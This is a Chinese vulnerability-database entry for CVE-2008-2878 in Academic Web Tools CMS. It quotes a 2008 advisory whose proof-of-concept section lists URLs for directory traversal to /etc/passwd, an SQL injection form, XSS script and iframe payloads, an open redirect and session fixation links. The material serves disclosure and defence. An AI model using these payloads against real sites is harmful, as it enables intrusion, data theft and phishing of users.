Academic Web Tools CMS rss_getfile.php 打开重定向漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1115485 漏洞类型 其他
发布时间 2008-06-19 更新时间 2009-01-29
CVE编号 CVE-2008-2878 CNNVD-ID CNNVD-200806-377
漏洞平台 PHP CVSS评分 6.4
|漏洞来源
https://www.exploit-db.com/exploits/5861
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200806-377
|漏洞详情
AcademicWebTools(AWTYEKTA)的rss_getfile.php中存在打开重定向漏洞,远程攻击者通过文件参数中的一个URL来更改用户任意web地址并触发钓鱼攻击。
|漏洞EXP
########################## www.BugReport.ir #######################################
#
#        AmnPardaz Security Research Team
#
# Title: Academic Web Tools CMS Multiple Vulnerabilities
# Vendor: www.yektaweb.com
# Vulnerable Version: 1.4.2.8 and prior versions
# Exploit: Available
# Impact: Medium
# Fix: N/A
# Original Advisory: www.bugreport.ir/?/44
###################################################################################

####################
1. Description:
####################
    ACADEMIC WEB TOOLS (AWT) yektaweb is a Persian content management system (CMS) which can manage university conferences and journals too.
####################
2. Vulnerabilities:
####################
    2.1. Directory Traversal in "/download.php" in "dfile" parameter.
        2.1.1. Exploit:
                        Check the exploit/POC section.
    2.2. Injection Flaws. SQL Injection in "/rating.php" in "book_id" parameter.
        2.2.1. Exploit:
                        Check the exploit/POC section.
    2.3. Cross Site Scripting (XSS). Reflected XSS attack in "/login.php" in URL parameters.
        2.3.1. Exploit:
                        Check the exploit/POC section.
    2.4. Cross Site Scripting (XSS). Reflected XSS attack in "/hta/htmlarea.js.php" in "glb_sid" parameters.
        2.3.1. Exploit:
                        Check the exploit/POC section.
    2.5. Cross Site Scripting (XSS). Reflected redirect XSS attack in "/rss_getfile.php" in "file" parameters.
        2.4.1. Exploit:
                        Check the exploit/POC section.
    2.6. Cross Site Scripting (XSS). Stored XSS attack in "/room.php" chat service.
        2.5.1. Exploit:
                        Check the exploit/POC section.
    2.7. Session Management Flaw. "/homepg/index.php" and "/homepg/login.php" are vulnerable to session fixation.
        2.5.1. Exploit:
                        Check the exploit/POC section.
####################
3. Exploits/POCs:
####################
    Original Exploit URL: http://bugreport.ir/index.php?/44/exploit
    3.1. Directory Traversal in "/download.php" in "dfile" parameter.
        -------------
        http://[URL]/download.php?dfile=../../../../../../etc/passwd
        http://[URL]/download.php?dfile=../../../../../../../etc/crontab
        -------------
    3.2. SQL Injection in "/rating.php" in "book_id" parameter.
        -------------
        <form action="http://[URL]/rating.php" method="post">
        <input type=text name=book_id size=100 value="[SQL Injection]"><br>
        <input type=hidden name=user_score size=100 value=5>
        <input type=submit name=submit_for_rating value="Go!">
        </form>
        -------------
    3.3. Reflected XSS attack in "/login.php" in URL parameters.
        -------------
        http://[URL]/login.php?Fake=<fake><script>alert(/sdl BugReport.IR xss/)</script>
        -------------
    3.4. Reflected XSS attack in "/hta/htmlarea.js.php" in "glb_sid" parameters.
        -------------
        http://[URL]/hta/htmlarea.js.php?glb_sid=<script>alert(/sdl BugReport.IR xss/)</script>
        -------------
    3.5. Reflected redirect XSS attack in "rss_getfile.php" in "file" parameters.
        -------------
        http://[URL]/rss_getfile.php?file=http://BugReport.ir
        -------------
    3.6. Reflected XSS attack in "room.php".
        -------------
        First of all, login into the site.
        Now submit this : <iframe src="http://www.BugReport.ir/" width=1000 height=1000></iframe>
        at: http://[URL]/room.php?slc_lang=fa&sid=1&user_id=1
        -------------
    3.7. "/homepg/index.php" and "/homepg/login.php" are vulnerable to session fixation.
        -------------
        First, clear the site's cookies, and then goto:
        http://[URL]/homepg/index.php?PHPSESSID=BugReportIRSessionFixation
        http://[URL]/homepg/login.php?PHPSESSID=BugReportIRSessionFixation
        -------------
####################
4. Solution:
####################
    Source codes are encrypted. Wait for vendor patch.
####################
5. Credit:
####################
AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
WwW.BugReport.ir
WwW.AmnPardaz.com

# milw0rm.com [2008-06-19]
|参考资料

来源:XF
名称:academicwebtools-multiple-xss(43178)
链接:http://xforce.iss.net/xforce/xfdb/43178
来源:BID
名称:29813
链接:http://www.securityfocus.com/bid/29813
来源:BUGTRAQ
名称:20080619AcademicWebToolsCMS<=1.4.2.8MultipleVulnerabilities
链接:http://www.securityfocus.com/archive/1/archive/1/493472/100/0/threaded
来源:MISC
链接:http://www.bugreport.ir/?/44
来源:SREASON
名称:3959
链接:http://securityreason.com/securityalert/3959
来源:SECUNIA
名称:30763
链接:http://secunia.com/advisories/30763